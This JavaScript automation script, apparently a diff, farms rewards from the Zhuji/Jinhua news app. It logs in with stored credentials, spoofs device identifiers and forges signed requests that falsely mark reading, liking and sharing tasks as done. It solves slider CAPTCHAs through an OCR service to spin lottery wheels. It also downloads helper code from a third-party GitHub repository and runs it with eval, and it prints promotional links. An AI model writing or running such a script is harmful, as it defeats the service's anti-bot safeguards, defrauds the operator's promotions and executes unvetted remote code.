jinhuaAppId = 'uhzfzpj5l78yq6di' +let jinhuaKey = '35c782a2' +let jinhuaToken = '' +!(async () => { + await main(); +})().catch((e) => {$.log(e)}).finally(() => {$.done({});}); + +async function main() { + console.log('\n频道:https://pd.qq.com/s/btv4bw7av\nTL库:https://github.com/3288588344/toulu.git\n免费高速流量卡推荐:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709\n') + if (!XiShiYan) { + console.log("先去boxjs填写账号密码") + await sendMsg('先去boxjs填写账号密码'); + return + } + Utils = await loadUtils(); + let arr = XiShiYan.split(" "); + for (const item of arr) { + console.log("随机生成UA") + let randomUA = generateRandomUA(); + ua = randomUA.ua; + commonUa = randomUA.commonUa; + deviceId = randomUA.uuid; + console.log(ua) + console.log(commonUa) + phone_number = item.split("&")[0] + password = item.split("&")[1] + console.log(`用户:${phone_number}开始任务`) + console.log("获取sessionId") + let initSession = await commonPost('/api/account/init'); + sessionId = initSession.data.session.id; + console.log(sessionId) + console.log("获取signature_key") + let init = await initGet(`/web/init?client_id=${clientId}`) + signature_key = init.data.client.signature_key; + console.log(signature_key) + console.log("获取code") + let credential_auth = await passportPost('/web/oauth/credential_auth') + if (!credential_auth.data) { + console.log(credential_auth.message) + continue + } + let code = credential_auth.data.authorization_code.code; + console.log(code) + console.log("登录") + let login = await commonPost('/api/zbtxz/login',`check_token=&code=${code}&token=&type=-1&union_id=`) + console.log('登录成功') + accountId = login.data.session.account_id; + sessionId = login.data.session.id; + console.log("————————————") + console.log('阅读抽奖') + console.log("获取id") + let buoyList = await commonGet('/api/buoy/list') + let url = buoyList.data.new_down.icon_list[0].turn_to.url; + let urlStr = url.split('?')[1]; + let result = {}; + let paramsArr = urlStr.split('&') + for(let i = 0,len = paramsArr.length;i < len;i++){ + let arr = paramsArr[i].split('=') + result[arr[0]] = arr[1]; + } + let articleId = result.id; + console.log(articleId) + let articleDetail = await commonGet(`/api/article/detail?id=${articleId}`) + url = articleDetail.data.article.share_url; + urlStr = url.split('?')[1]; + result = {}; + paramsArr = urlStr.split('&') + for(let i = 0,len = paramsArr.length;i < len;i++){ + let arr = paramsArr[i].split('=') + result[arr[0]] = arr[1]; + } + let id = result.id; + console.log(id) + console.log("获取key和token") + let jinhuaLogin = await jinhuaPost('/api/member/login',{"debug":0,"userId":""}) + jinhuaKey = jinhuaLogin.data.key; + jinhuaToken = "Bearer " + jinhuaLogin.data.token; + console.log(jinhuaKey) + console.log(jinhuaToken) + console.log("获取抽奖id") + let jinhuaDetail = await jinhuaGet(`/api/study/detail?id=${id}`,{"id":id}) + let lotteryId = jinhuaDetail.data.lottery.lottery_id; + console.log(lotteryId) + console.log("开始阅读") + for (const item of jinhuaDetail.data.levels) { + let level = await jinhuaGet(`/api/study/level?id=${item.id}`,{"id":item.id}) + console.log(level.data.level.name) + if (level.data.level.task_num == level.data.completedTasks.length) { + console.log(`已完成`) + continue + } + for (const task of level.data.tasks) { + let complete = await jinhuaPost(`/api/study/task/complete`,{"id":task.id}) + console.log(complete.message) + } + } + let lotteryCount = await jinhuaPost(`/api/lotterybigwheel/_ac_lottery_count`,{"id":lotteryId,"module":"study"}) + for (let i = 0; i < lotteryCount.data.count; i++) { + let lottery = await jinhuaPost(`/api/lotterybigwheel/_ac_lottery`,{"id":lotteryId,"app_id":jinhuaAppId,"module":"study","optionHash":""}) + if (lottery.code == 10000) { + console.log(lottery.message) + let captcha = await jinhuaPost(`/api/captcha/get`,{"activity_id":lotteryId,"module":"bigWheel"}) + let jigsawImageUrl = captcha.data.jigsawImageUrl; + let originalImageUrl = captcha.data.originalImageUrl; + console.log(`滑块:${jigsawImageUrl}`) + console.log(`背景:${originalImageUrl}`) + let captchaToken = captcha.data.token; + let secretKey = captcha.data.secretKey; + console.log(`秘钥:${secretKey}`) + let getXpos = await slidePost({'slidingImage': jigsawImageUrl, 'backImage': originalImageUrl}) + if (!getXpos) { + console.log("ddddocr服务异常") + await sendMsg('ddddocr服务异常'); + continue; + } + console.log(getXpos) + let point = aesEncrypt(JSON.stringify({x: getXpos.result, y: 5}), secretKey) + let check = await jinhuaPost(`/api/captcha/check`,{"activity_id":lotteryId,"module":"bigWheel","cap_token":captchaToken,"point":point}) + console.log("验证滑块:" + check.message) + if (check.message == '操作成功') { + lottery = await jinhuaPost(`/api/lotterybigwheel/_ac_lottery`,{"id":lotteryId,"app_id":jinhuaAppId,"module":"study","optionHash":""}) + console.log(`抽奖获得:${lottery.data.title}`) + } + } else { + console.log(`抽奖获得:${lottery.data.title}`) + } + } + console.log("————————————") + console.log("开始签到") + let sign = await commonGet('/api/user_mumber/sign') + console.log(`签到获得:${sign.data.signIntegral}积分`) + console.log("————————————") + console.log("开始任务") + let readFinish = true; + let likeFinish = true; + let shareFinish = true; + let taskList = await commonGet('/api/user_center/task?type=1¤t=1&size=20') + for (let task of taskList.data.list) { + console.log(`任务:${task.name}`) + if (task.completed == 1) { + console.log(`任务已完成`) + continue; + } + console.log(`任务进度:${task.finish_times}/${task.frequency}`) + if (task.name == '使用本地服务') { + for (let i = task.finish_times; i < task.frequency; i++) { + let doTask = await commonPost(`/api/user_mumber/doTask`,`memberType=6&member_type=6`) + console.log(`任务完成获得:${doTask.data.score_notify.integral}积分`) + } + } + if (task.name == '新闻资讯阅读') { + readFinish = false; + } + if (task.name == '新闻资讯点赞') { + likeFinish = false; + } + if (task.name == '分享资讯给好友') { + shareFinish = false; + } + } + if (!readFinish || !likeFinish || !shareFinish) { + let articleList = await commonGet('/api/article/channel_list?channel_id=5de768411b011b48a65b772f&isDiFangHao=false&is_new=true&list_count=0&size=30') + for (const article of articleList.data.article_list) { + let articleId = article.id; + if (!readFinish) { + let read = await commonGet(`/api/article/read_time?channel_article_id=${articleId}&is_end=true&read_time=3051`) + if (read.data.score_notify) { + console.log(`阅读获得:${read.data?.score_notify?.integral}积分`) + } else { + console.log(`文章已经阅读过了`) + } + } + if (!likeFinish) { + let like = await commonPost(`/api/favorite/like`,`action=true&id=${articleId}`) + if (like.data) { + console.log(`点赞获得:${like.data?.score_notify?.integral}积分`) + } else { + console.log(`文章已经点赞过了`) + } + } + if (!shareFinish) { + let share = await commonPost(`/api/user_mumber/doTask`,`memberType=3&member_type=3&target_id==${articleId}`) + if (share.data.score_notify) { + console.log(`分享获得:${share.data?.score_notify?.integral}积分`) + } else { + console.log(`文章已经分享过了`) + } + } + } + } + console.log("————————————") + console.log("查询积分") + let detail = await commonGet('/api/user_mumber/account_detail') + console.log(`拥有积分:${detail.data.rst.total_integral}\n`) + notice += `用户:${phone_number} 积分:${detail.data.rst.total_integral}\n` + } + if (notice) { + await sendMsg(notice); + } +} + +async function initGet(url) { + return new Promise(resolve => { + const options = { + url: `https://passport.tmuyun.com${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'Cache-Control': 'no-cache', + 'X-REQUEST-ID': generateUUID(), + 'Accept-Encoding': 'gzip', + 'user-agent': ua, + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function passportPost(url) { + let params = getBody(); + return new Promise(resolve => { + const options = { + url: `https://passport.tmuyun.com${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'X-REQUEST-ID': params.uuid, + 'X-SIGNATURE': params.signature, + 'Cache-Control': 'no-cache', + 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', + 'Accept-Encoding': 'gzip', + 'user-agent': ua, + }, + body: params.body + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function commonGet(url) { + let params = getParams(url); + return new Promise(resolve => { + const options = { + url: `https://vapp.tmuyun.com${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'X-TIMESTAMP': params.time, + 'X-SESSION-ID': sessionId, + 'X-REQUEST-ID': params.uuid, + 'X-SIGNATURE': params.signature, + 'X-TENANT-ID': tenantId, + 'X-ACCOUNT-ID': accountId, + 'Cache-Control': 'no-cache', + 'Accept-Encoding': 'gzip', + 'user-agent': commonUa, + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function commonPost(url,body) { + let params = getParams(url); + return new Promise(resolve => { + const options = { + url: `https://vapp.tmuyun.com${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'X-TIMESTAMP': params.time, + 'X-SESSION-ID': sessionId, + 'X-REQUEST-ID': params.uuid, + 'X-SIGNATURE': params.signature, + 'X-TENANT-ID': tenantId, + 'X-ACCOUNT-ID': accountId, + 'Cache-Control': 'no-cache', + 'Accept-Encoding': 'gzip', + 'user-agent': commonUa, + }, + body: body + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function jinhuaPost(url,body) { + let params = getJinhuaParams(body); + return new Promise(resolve => { + const options = { + url: `https://op-api.cloud.jinhua.com.cn${url}`, + headers : { + 'access-type': 'app', + 'access-module': 'study', + 'access-device-id': deviceId, + 'access-auth-id': accountId, + 'access-api-signature': params.signature, + 'access-nonce-str': params.uuid, + 'authorization': jinhuaToken, + 'access-app-id': jinhuaAppId, + 'access-timestamp': params.time, + 'access-api-token': sessionId, + 'accept': 'application/json, text/plain, */*', + 'user-agent': 'Mozilla/5.0 (Linux; Android 11; 21091116AC Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.4606.85 Mobile Safari/537.36;xsb_zhuji;xsb_zhuji;1.3.2;native_app;6.10.0', + 'content-type': 'application/json; charset=UTF-8', + 'origin': 'https://op-h5.cloud.jinhua.com.cn', + 'x-requested-with': 'com.zjonline.zhuji', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://op-h5.cloud.jinhua.com.cn/', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + }, + body: JSON.stringify(body) + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function jinhuaGet(url,body) { + let params = getJinhuaParams(body); + return new Promise(resolve => { + const options = { + url: `https://op-api.cloud.jinhua.com.cn${url}`, + headers : { + 'access-type': 'app', + 'access-module': 'study', + 'access-device-id': deviceId, + 'access-auth-id': accountId, + 'access-api-signature': params.signature, + 'access-nonce-str': params.uuid, + 'authorization': jinhuaToken, + 'access-app-id': jinhuaAppId, + 'access-timestamp': params.time, + 'access-api-token': sessionId, + 'accept': 'application/json, text/plain, */*', + 'user-agent': 'Mozilla/5.0 (Linux; Android 11; 21091116AC Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.4606.85 Mobile Safari/537.36;xsb_zhuji;xsb_zhuji;1.3.2;native_app;6.10.0', + 'origin': 'https://op-h5.cloud.jinhua.com.cn', + 'x-requested-with': 'com.zjonline.zhuji', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://op-h5.cloud.jinhua.com.cn/', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function slidePost(body) { + return new Promise(resolve => { + const options = { + url: `${OCR_SERVER}/capcode`, + headers: { + 'Content-Type': 'application/json', + }, + body:JSON.stringify(body) + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function aesEncrypt(e, r) { + CryptoJS = Utils.createCryptoJS(); + var n = CryptoJS.enc.Utf8.parse(r) + , o = CryptoJS.enc.Utf8.parse(e) + , s = CryptoJS.AES.encrypt(o, n, { + mode: CryptoJS.mode.ECB, + padding: CryptoJS.pad.Pkcs7 + }); + return s.toString() +} + +function getBody() { + const key = 'MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6XO7e9YeAOs+cFqwa7ETJ+WXizPqQeXv68i5vqw9pFREsrqiBTRcg7wB0RIp3rJkDpaeVJLsZqYm5TW7FWx/iOiXFc+zCPvaKZric2dXCw27EvlH5rq+zwIPDAJHGAfnn1nmQH7wR3PCatEIb8pz5GFlTHMlluw4ZYmnOwg+thwIDAQAB'; + const encryptor = new (Utils.loadJSEncrypt()); + encryptor.setPublicKey(key); + password = encryptor.encrypt(password); + let uuid = generateUUID(); + let body = `client_id=${clientId}&password=${password}&phone_number=${phone_number}`; + const str = `post%%/web/oauth/credential_auth?${body}%%${uuid}%%`; + body = `client_id=${clientId}&password=${encodeURIComponent(password)}&phone_number=${phone_number}`; + CryptoJS = Utils.createCryptoJS(); + const hash = CryptoJS.HmacSHA256(str, signature_key); + let signature = CryptoJS.enc.Hex.stringify(hash); + return {"uuid":uuid,"signature":signature,"body":body}; +} + +function getJinhuaParams(params) { + let uuid = generateUUID(); + let time = Date.now(); + let config = { + app_id: jinhuaAppId, + device_id: deviceId, + nonce_str: uuid, + source_type: 'app', + timestamp: time, + auth_id: accountId, + token: sessionId + }; + Object.entries(params).forEach(([key, value]) => { + config[key] = value; + }); + let sortedKeys = Object.keys(config).sort(); + let result = sortedKeys.map(key => `${key}=${config[key]}`).join('&&'); + result = result + '&&' + jinhuaKey; + CryptoJS = Utils.createCryptoJS(); + let signature = CryptoJS.SHA256(result).toString(); + return {"uuid":uuid,"time":time,"signature":signature}; +} + +function getParams(url) { + let uuid = generateUUID(); + let time = Date.now(); + if (url.indexOf('?') > 0) { + url = url.substring(0, url.indexOf('?')); + } + CryptoJS = Utils.createCryptoJS(); + let signature = CryptoJS.SHA256(`${url}&&${sessionId}&&${uuid}&&${time}&&${signatureSalt}&&${tenantId}`).toString(); + return {"uuid":uuid,"time":time,"signature":signature}; +} + +function generateUUID() { + return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { + const r = (Math.random() * 16) | 0; + const v = c === 'x' ? r : (r & 0x3) | 0x8; + return v.toString(16); + }); +} + +function getRandomElement(arr) { + return arr[Math.floor(Math.random() * arr.length)]; +} + +function generateRandomUA() { + const version = "1.3.2"; + const uuid = generateUUID(); + const deviceIds = [ + "M1903F2A", + "M2001J2E", + "M2001J2C", + "M2001J1E", + "M2001J1C", + "M2002J9E", + "M2011K2C", + "M2102K1C", + "M2101K9C", + "2107119DC", + "2201123C", + "2112123AC", + "2201122C", + "2211133C", + "2210132C", + "2304FPN6DC", + "23127PN0CC", + "24031PN0DC", + "23090RA98C", + "2312DRA50C", + "2312CRAD3C", + "2312DRAABC", + "22101316UCP", + "22101316C" + ]; + const deviceId = getRandomElement(deviceIds); + const device = "Xiaomi " + deviceId; + const os = "Android"; + const osVersion = "11"; + const osType = "Release"; + const appVersion = "6.10.0"; + + let ua = `${os.toUpperCase()};${osVersion};${clientId};${version};1.0;null;${deviceId}` + let commonUa = `${version};${uuid};${device};${os};${osVersion};${osType};${appVersion}` + return {"ua": ua, "commonUa": commonUa,"uuid":uuid}; +} + +async function loadUtils() { + let code = $.getdata('Utils_Code') || ''; + if (code && Object.keys(code).length) { + console.log(`✅ ${$.name}: 缓存中存在Utils代码, 跳过下载`) + eval(code) + return creatUtils(); + } + console.log(`🚀 ${$.name}: 开始下载Utils代码`) + return new Promise(async (resolve) => { + $.getScript( + 'https://raw.githubusercontent.com/3288588344/toulu/main/Utils.js' + ).then((fn) => { + $.setdata(fn, "Utils_Code") + eval(fn) + console.log(`✅ Utils加载成功, 请继续`) + resolve(creatUtils()) + }) + }) +} + +async function sendMsg(message) { + if ($.isNode()) { + let notify = '' + try { + notify = require('./sendNotify'); + } catch (e) { + notify = require("../sendNotify"); + } + await notify.sendNotify($.name, message); + } else { + $.msg($.name, '', message) + } +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}))}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 